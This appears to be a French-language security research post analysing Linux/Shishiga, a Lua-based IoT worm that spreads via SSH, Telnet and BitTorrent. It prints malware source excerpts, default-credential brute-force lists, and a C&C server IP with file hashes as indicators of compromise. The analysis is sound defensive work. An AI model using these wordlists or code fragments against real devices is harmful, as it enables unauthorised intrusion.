Parmi tous les échantillons Linux que nous recevons chaque jour, nous avons remarqué qu’un de ceux-ci contenait un logiciel malveillant, Linux.LuaBot, que seul Dr.Web a détecté. Cette situation était suspecte, notre taux de détection des logiciels malveillants de la famille Luabot étant généralement élevé. Après analyse, il s’avère qu’il s’agissait effectivement d’un robot codé en langage Lua. Il faisait cependant partie d’une famille inédite et n’était pas lié aux logiciels malveillants Luabot connus. Nous lui avons donc donné un nouveau nom : Linux/Shishiga. Il utilise quatre protocoles différents (SSH, Telnet, HTTP et BitTorrent) et des scripts Lua aux fins de modulation.

Comment rencontrer Shishiga?

Linux/Shishiga cible les systèmes GNU et Linux. Son vecteur d’infection est très courant : subtiliser les authentifiants faibles par force brute au moyen d’une liste de mots de passe. Pour ce faire, il procède de la même façon que les logiciels malveillants de la famille Linux/Moose, mais il peut également appliquer cette méthode aux authentifiants SSH. Voici la liste complète des authentifiants utilisés par Linux/Shishiga au moment de la rédaction du présent article :

bftelnet.lua

[...]
local accounts={
    {"admin","admin"},
    {"root","root"},
    {"adm","adm"},
    {"acer","acer"},
    {"user","user"},
    {"security","security"}
}
[...]
bfssh.lua
[...]
local accounts={
    {"admin","admin"},
    {"root","root"},
    {"adm","adm"},
    {"ubnt","ubnt"},
    {"root",""},
    {"admin",""},
    {"adm",""},
    {"user","user"},
    {"pi","pi"},
}

--[[
    {"acer","acer"},
    {"security","security"},
    {"root","toor"},
    {"root","roottoor"},
    {"root","password"},


    {"root","test"},
    {"root","abc123"},
    {"root","111111"},
    {"root","1q2w3e"},
    {"root","oracle"},
    {"root","1q2w3e4r"},
    {"root","123123"},
    {"root","qwe123"},
    {"root","p@ssw0rd"},

    {"root","1"},
    {"root","12"},
    {"root","123"},
    {"root","1234"},
    {"root","12346"},
    {"root","123467"},
    {"root","1234678"},
    {"root","12346789"},
    {"root","123467890"},
    {"root","qwerty"},
    {"root","pass"},
    {"root","toor"},
    {"root","roottoor"},
    {"root","password123"},
    {"root","password123456"},
    {"root","pass123"},
    {"root","password"},
    {"root","passw0rd"},
    {"root","1qaz"},
    {"root","1qaz2wsx"},
    {"root","asdfgh"},

    {"user","user"},
    {"user",""},
    {"acer","acer"},
    {"security","security"},
    {"root","passw0rds"},
]]
[...]

Nous avons relevé plusieurs fichiers binaires de Linux/Shishiga compatibles avec diverses architectures courantes dans les dispositifs de l’Internet des objets (IdO), comme MIPS (tant en mode gros-boutiste que petit-boutiste), ARM (armv4l), i686, et PowerPC.  Nous croyons que d’autres architectures comme SPARC, SH-4 ou m68k pourraient également être ciblées, comme nous l’expliquerons ci-dessous.

Propriétés de Shishiga

Linux/Shishiga est un fichier binaire compressé avec l’outil UPX 3.91 (Ultimate Packer for eXecutables), qui aura cependant de la difficulté à le décompresser, puisque Shishiga ajoute des données à la fin du fichier compressé.

Une fois le fichier décompressé, nous pouvons constater qu’il est lié de façon statique à la bibliothèque d’exécution Lua et dépouillé de tous ses symboles.

$ file unpacked.i686.lmunpacked.i686.lm: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux),statically linked, stripped

Une fois exécuté, le binaire lance le module Lua du logiciel malveillant au moyen des méthodes suivantes :

Méthodes d’exécution du logiciel malveillant

$ file unpacked.i686.lm
unpacked.i686.lm: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux),
statically linked, stripped

Une fois exécuté, le binaire lance le module Lua du logiciel malveillant au moyen des méthodes suivantes :

Méthodes d’exécution du logiciel malveillant

malware_module_methods  dd offset aGetver       ; "getver"
                        dd offset getver
                        dd offset aGetos        ; "getos"
                        dd offset getos
                        dd offset aGetarch      ; "getarch"
                        dd offset getarch
                        dd offset aGetmacaddr   ; "getmacaddr"
                        dd offset getmacaddr
                        dd offset aGetmods      ; "getmods"
                        dd offset getmods
                        dd offset aSetargs      ; "setargs"
                        dd offset setargs

La méthode getmods renvoie le grand fichier binaire (blob) archive, comme nous l’expliquerons plus tard. Le code Lua figé (malware.lua) est ensuite exécuté par l’intermédiaire des fonctions luaL_loadstring et lua_pcall. Le code Lua est assez simple, mais voici un aperçu du code source, sans aucune modification de notre part.

malware.lua

local unistd=require("posix.unistd")
require("malware")

function getexe()
    local fn=unistd.readlink("/proc/self/exe")
    if fn==nil and arg~=nil then
        fn=arg[0] --symlink removed
    end

    if fn==nil then
        print("couldn't find bot file")
        return nil
    end


    local file=io.open(fn,"r")
    if file==nil then
        print("couldn't find bot file")
        return nil
    end
    local data=file:read("*all")
    file:close()
    return data
end

function getMods()
    return zlib.inflate()(malware.getmods())
end

function getScriptFiles(scripts)
    local files={}
    local i=1
    while true do
        local a1,b1,c1=string.find(scripts,'%-%-script%-begin%-%-([%w%.]+)%-%-',i)
        if a1==nil then
            break
        end

        local a2,b2,c2=string.find(scripts,'%-%-script%-end%-%-([%w%.]+)%-%-',i)

        if a2==nil then
            break
        end

        if c1~=c2 then
            return nil
        end

        local src=string.sub(scripts,b1+1,a2-1)
        i=b2+1
        files[c1]=src
    end
    return files
end

malware.exe=getexe() (1)
local modules=getScriptFiles(getMods()) (2)

[...]

f=load(malware.modules['main.lua']) (3)
local s,err=pcall(f)
if s==false then
    print(err)
end
(1) Ouvre le fichier exécutable du logiciel malveillant à partir de /proc/self/exe, puis renvoie son contenu.
(2) Récupère l’archive zlib au moyen de la méthode getmods, la décompresse, l’analyse à l’aide d’étiquettes puis la stocke dans un tableau Lua.
(3) Charge le module main.lua.

La section sur les indicateurs de compromission contient une liste exhaustive de tous les scripts Lua. Leur nom de fichier est généralement explicite, mais voici un résumé de certains d’entre eux.

callhome.lua

  • Récupère le fichier de configurationbt ou servers à partir du fichier config.lua.
  • S’il est impossible d’atteindre le serveur par défaut actuel, passe à un autre serveur.
  • Envoie des fichiers (rapports ou comptes au format JSON).
  • Exécute des tâches figurant dans la liste de tâches récupérée sur le serveur de commande et de contrôle.

bfssh.lua/bftelnet.lua

  • Se module pour subtiliser les authentifiants SSH et Telnet par force brute.
  • Vérifie si la commandeecho -en "\\x31\\x33\\x33\\x37" renvoie la valeur 1337. Dans la négative, sort, sinon continue.
  • Détermine l’architecture du dispositif à l’aide du fichier/bin/ls en exécutant cat /bin/ls et en analysant l’en-tête ELF. Voir ci-dessous.
  • Diffuse le logiciel malveillant (fichiers.lm et .dm) selon l’architecture de l’appareil.
  • Enregistre les authentifiants concluants.

Voici le code de vérification de l’architecture :

Méthode bfssh.lua, getArchELF

function bfssh.getArchELF(text)
	local bits,denc,ver,ftype,farch
	if text==nil then
		return nil
	end

	local i=text:find("\x7fELF") (1)
	if i~=nil then
		bits,denc,ver=string.unpack("<BBB",text:sub(i+4))
		if denc==1 then
			ftype,farch=string.unpack("<HH",text:sub(i+16)) (2)
		else
			ftype,farch=string.unpack(">HH",text:sub(i+16))
		end
	end
	return bits,denc,farch (3)
end
(1) Tous les fichiers ELF doivent commencer par \x7fELF.
(2) ftype, qui représente le type e_type (type de fichier ELF = exécutable, partagé, etc.), n’est pas utilisé.
(3) bits représente e_ident[EI_CLASS] (32 ou 64 bits), denc représente  e_ident[EI_DATA] (mode gros-boutiste ou petit-boutiste) et farch représente e_machine dans l’en-tête ELF.

Méthode bfssh.lua, getArchName

function bfssh.getArchName(bits,denc,farch) (1)
        if farch==0x8 and denc==1 then (2)
                return "mipsel"
        end

        if farch==0x8 and denc==2 then
                return "mips"
        end

        if farch==0x28 then
                return "armv4l"
        end

        if farch==0x2 then
                return "sparc"
        end

        if farch==0x2a then
                return "sh4"
        end

        if farch==0x4 then
                return "m68k"
        end

        if farch==0x14 then
                return "powerpc"
        end


        if farch==0x3 or farch==0x7 or farch==0x3e then (3)
                return "i686"
        end

        return nil
end
(1) bits n’est pas utilisé.
(2) Vérifie si le fichier est compatible avec une architecture MIPS en mode petit-boutiste (e_machine == EM_MIPS et e_ident[EI_DATA] == ELFDATA2LSB).
(3) Vérifie si le fichier est compatible avec une architecture Intel 80386, Intel 80860 ou AMD x86-64 (e_machine == EM_386, e_machine == EM_860 ou e_machine == EM_X86_64).

config.lua

  • Contient la clépublicKey afin de vérifier la signature du fichier binaire (.lm ou .dm).
  • Contient la liste des nœuds d’amorçage.
  • Contient le nom des fichiers .bt et le numéro des ports des serveurs SOCKS et HTTP.
  • Contient l’adresse IP du serveur (probablement du serveur de commande et de contrôle).

persist.lua

  • Méthode de menace persistante, selon le privilège (racine ou utilisateur).

scanner.lua

  • Sert à générer des adresses IP /16 aléatoires de réseaux non locaux.

worm.lua (Ce script a été supprimé de la dernière version de Linux/Shishiga.)

  • Permet de lancer un balayage à partir d’un port donné.
  • Permet le téléversement du logiciel malveillant.
  • Obtient de l’information du nouveau serveur infecté.

Le script readme.lua contient un message qui attirera votre attention, si vous parlez le russe :

           ВСЁ ИДЁТ ПО ПЛАНУ

А при коммунизме всё будет заебись
Он наступит скоро — надо только подождать
Там всё будет бесплатно,там всё будет в кайф
Там наверное вощще не надо будет (умирать)
Я проснулся среди ночи и понял, что -

           ВСЁ ИДЁТ ПО ПЛАНУ

This translates to:

            
TOUT SE PASSE COMME PRÉVU 

Quand on aura enfin le communisme, ce sera génial.
Ça viendra bientôt; il suffit d’être patient.
Tout sera gratuit, tout sera allégresse.
On n’aura sans doute même plus besoin de mourir.
Je me suis réveillé en pleine nuit, et je me suis rendu compte que          

TOUT SE PASSE COMME PRÉVU

L’auteur du logiciel malveillant semble avoir été inspiré par E. Letov et son album ВСЁ ИДЁТ ПО ПЛАНУ (tout se passe comme prévu) – voir le dernier couplet de la chanson du même nom.

Au cours des dernières semaines, nous avons observé quelques changements mineurs, comme la réécriture partielle de certains modules, l’ajout de modules d’essai et la suppression de fichiers redondants – rien de particulièrement digne d’intérêt.

Bien que le fichier binaire principal soit nommé <architecture>.lm, nous sommes également parvenus à récupérer des fichiers binaires portant le nom <architecture>.dm – une porte dérobée simple qui espionne l’adresse IP 0.0.0.0 (toutes les adresses IPv4) à partir du port 2015. L’un des changements mineurs concernait le nom de ce fichier binaire de type « porte dérobée », qui est passé de dl à dm.

Communications de Shishiga

Linux/Shishiga peut communiquer à l’aide de n’importe lequel des modules httpproto.lua, btloader.lua ou server.lua. Le module httpproto.lua contient des fonctions permettant de coder et de décoder les données en question et de lancer des requêtes HTTP POST et GET. Le code source ci-dessous montre le processus de codage des données.

httpproto.lua

[...]
function httpproto.encode(data)
    local msg=bencode.encode(data)
    local c=zlib.crc32()(msg)
    local k=string.pack("<I",utils.random())
    return k..crypto.rc4(k,string.pack("<I",c)..msg)
end
[...]

Le script btloader.lua utilise le module torrent.lua (enveloppeur de fonctions BitTorrent) pour enregistrer ou charger des nœuds à partir du fichier nodes.cfg. Il récupère également ses données de configuration à partir des fichiers {server,update,script}.bt (en format Bencode) et utilise le protocole BitTorrent pour rechercher de nouvelles versions de ces fichiers. Le fichier script.bt permet l’exécution d’un script Lua, tandis que le fichier update.bt permet le lancement du fichier binaire .lm. Voici des exemples de fichiers .bt décodés sous la forme de dictionnaires Python.

script.bt
{
    'sig': <removed>,(1)
    'k': <removed>,(2)
    'salt': 'script',
    'seq': 1486885364,
    'v': 'caba4dbe2f7add9371b94b97cf0d351b72449072,test.lua\n'
}
(1) Signature
(2) Clé publique

update.bt

{
    'sig': <removed>,
    'k': <removed>,
    'salt': 'update',
    'seq': 1486885364,
    'v':
        'bf4d9e25fc210a1d9809aebb03b30748dd588d08,mipsel.lm\n
        8a0d58472f6166ade0ae677bab7940fe38d66d35,armv4l.lm\n
        51a4ca78ebb0649721ae472290bea7bfe983d727,mips.lm\n
        979fb376d6adc65473c4f51ad1cc36e3612a1e73,powerpc.lm\n
        ce4b3c92a96137e6215a5e2f5fd28a672eddaaab,i686.lm\n'
}
server.bt
{
    'sig': <removed>,
    'k': <removed,
    'salt': 'server',
    'seq': 1486835166,
    'v': '93.117.137.35:8080\n'
}

Finalement, la fonction principale du module server.lua consiste à créer un serveur HTTP au moyen du port défini dans le fichier config.lua. Dans tous les échantillons analysés jusqu’à présent, il s’agit du port 8888.

Le serveur ne répond qu’aux requêtes /info et /upload. Vous trouverez ci-dessous une version (embellie) de la réponse du serveur à la requête /info. Tous les fichiers ci-après peuvent être facilement téléchargés à partir du dispositif infecté.

{
    "src":[ (1)
        "test.lua",
        "test1.lua",
        "test10.lua",
        "test2.lua",
        "test3.lua",
        "test5.lua",
        "test6.lua",
        "test_1.lua",
        "test_2.lua",
        "test_3.lua",
        "test_4.lua"
    ],

    "dm":[ (2)
        "armv4l.dm",
        "i686.dm",
        "mips.dm",
        "mipsel.dm"
    ],

    "bt":[ (3)
        "script.bt",
        "server.bt",
        "update.bt"
    ],

    "version":"1.0.0", (4)

    "lua":[ (5)
        "armv4l.lm",
        "i686.lm",
        "mips.lm",
        "mipsel.lm",
        "powerpc.lm"
    ],

    "os":"lin",
    "arch":"i686",
    "lua_version":"Lua 5.3"
}
(1) Scripts Lua
(2) Porte dérobée (ancien nom : .dl)
(3) Scripts BitTorrent
(4) Version du logiciel malveillant
(5) Chargeur de modules

L’interrogation de la racine / sur le port 8888 renverra la réponse HTTP/1.0 404 OK, ce qui sert d’indicateur de compromission simple.

Fonction de la réponse http.lua

function http.response(req,code,data,timeout)
    timeout=timeout or timeoutDef
    local hdr="HTTP/1.0 %d OK\r\nContent-Length: %d\r\nConnection: close\r\n\r\n"
    async.sendall(req.sock,hdr:format(code,data:len())..data,timeout)

À ce point dans notre enquête, nous avons demandé à l’équipe Censys d’effectuer un balayage exhaustif de l’Internet sur le port TCP 8888. Elle a trouvé environ 10 adresses IP correspondant à cette réponse HTTP. Celles-ci appartiennent potentiellement à des machines infectées.

Conclusion

À première vue, Linux/Shishiga peut sembler similaire aux autres logiciels malveillants, tirant profit de faibles authentifiants Telnet et SSH pour se propager. Il se distingue cependant du lot par son utilisation du protocole BitTorrent et des modules Lua. Nous avons observé l’an dernier un ver inspiré par Mirai, Hajime, qui employait le protocole BitTorrent, et nous ne pouvons que supposer que ce procédé sera de plus en plus fréquent à l’avenir.

Il se peut que Shishiga continue d’évoluer et de se propager. Cependant, le faible nombre de victimes, l’addition, la suppression et la modification constantes de composants, les commentaires dans le code et même les données de débogage indiquent clairement qu’il s’agit d’un travail inachevé. Pour protéger vos dispositifs contre les infections par Shishiga et d’autres vers similaires, n’utilisez pas les authentifiants Telnet et SSH par défaut.

Nous tenons à remercier l’équipe Censys pour sa collaboration.

Indicateurs de compromission

Serveur de commande et de contrôle

93.117.137.35

Hachage des fichiers SHA1 (.lm)

003f548796fb52ad281ae82c7e0bb7532dd34241
1a79092c6468d39a10f805c96ad7f8bf303b7dc8
1cc1b97f8f9bb7c4f435ef1316e08e5331b4331b
2889803777e2dfec7684512f45e87248a07d508f
2a809d37be5aa0655f5cc997eb62683e1b45da17
3f1ef05ca850e2f5030ee279b1c589c9e3cc576c
41bf0d5612ba5bc9a05e9d94df0f841b159264a0
4bc106f6231daa6641783dd9276b4f5c7fc41589
4d55efe18643d7408cbe12dd4f319a68084bd11e
4df58ab26f0fc8ec2d1513611ca2b852e7107096
51a4ca78ebb0649721ae472290bea7bfe983d727
5a88b67d8dfaf1f68308311b808f00e769e39e46
6458c48e5167a2371d9243d4b47ad191d642685b
688ccbca8b2918a161917031e21b6810c59eeab0
6e3ba86d1f91669e87945b8ea0211b58e315e189
6f41c8f797814e2e3f073601ce81e8adceef6a27
8a0d58472f6166ade0ae677bab7940fe38d66d35
8a1f9212f181e68a63e06a955e64d333b78c6bf6
8e3c4eb04d4cfd8f44c721111c5251d30ac848b6
979fb376d6adc65473c4f51ad1cc36e3612a1e73
a1f2535576116d93b62d7f5fc6e30e66e0e0a216
a694c6ecc2ff9702905f22b14ed448e9e76fe531
ac094b239851eaf2e9fd309285c0996fb33771a8
b14f7af9665ef77af530109a0331f8ca0bd2a167
b86935c4539901cdec9081d8a8ca915903adaff1
ba5df105496b0c4df7206d29fa544b7a7a346735
bf4d9e25fc210a1d9809aebb03b30748dd588d08
c22f0fb01c6d47957732a8b0f5ef0f7d4e614c79
ce4b3c92a96137e6215a5e2f5fd28a672eddaaab
d8a5d9c4605b33bd47fedbad5a0da9928de6aa33
f73022a4801e06d675e5c3011060242af7b949ad

Hachage des fichiers SHA1 (.dl)

274181d2f9c6b8f0e217db23f1d39aa94c161d6e
8abbb049bffd679686323160ca4b6a86184550a1
95444c2ccc5fff19145d60f1e817fd682cabe0cd
9cde845852653339f67667c2408126f02f246949

Nom de fichier des scripts Lua

async.lua
async.lua.old
bencode.lua
bfssh.lua
bfssh.lua.old2
bftelnet.lua
btloader.lua
callhome.lua
callhome.lua.old
config.lua
crypto.lua
dht.lua
event.lua
evs.lua
http.lua
httpproto.lua
libevent2.lua
luaevent.lua
main.lua
main2.lua
malware.lua
persist.lua
readme.lua
routing.lua
scanner.lua
scanner2.lua
server.lua
socket.lua
socks.lua
ssh.lua
ssl.lua
telnet.lua
test.lua
test1.lua
test10.lua
test2.lua
test3.lua
test5.lua
test6.lua
threads.lua
torrent.lua
udp.lua
utils.lua
worm.lua

Fichiers susceptibles de dénoter une infection

/tmp/.local/*
/tmp/drop
/tmp/srv
$HOME/.local/ssh.txt
$HOME/.local/telnet.txt
$HOME/.local/nodes.cfg
$HOME/.local/check
$HOME/.local/script.bt
$HOME/.local/update.bt
$HOME/.local/server.bt
$HOME/.local/syslog
$HOME/.local/syslog.pid
$HOME/.local/{armv4l,i686,mips,mipsel}.{dl,dm}
$HOME/.local/{armv4l,i686,mips,mipsel,powerpc}.lm
/etc/rc2.d/S04syslogd
/etc/rc3.d/S04syslogd
/etc/rc4.d/S04syslogd
/etc/rc5.d/S04syslogd
/etc/init.d/syslogd
/bin/syslogd
/etc/cron.hourly/syslogd